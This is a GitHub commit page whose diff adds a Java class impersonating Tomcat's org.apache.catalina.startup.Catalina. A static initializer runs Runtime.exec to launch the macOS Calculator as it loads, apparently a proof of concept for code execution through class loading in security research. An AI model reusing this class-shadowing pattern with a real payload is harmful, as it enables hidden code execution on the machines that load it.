Skip to content

Commit 143b5e5

Browse files
author
“threedr3am”
committed
add:Catalina Calc exec
1 parent cd2fa15 commit 143b5e5

File tree

1 file changed

+15
-0
lines changed

1 file changed

+15
-0
lines changed
Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
package org.apache.catalina.startup;
2+
3+
/**
4+
* @author threedr3am
5+
*/
6+
public class Catalina {
7+
static {
8+
try {
9+
System.out.println("run Calc...");
10+
Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
11+
} catch (Throwable e) {
12+
e.printStackTrace();
13+
}
14+
}
15+
}

0 commit comments

Comments
 (0)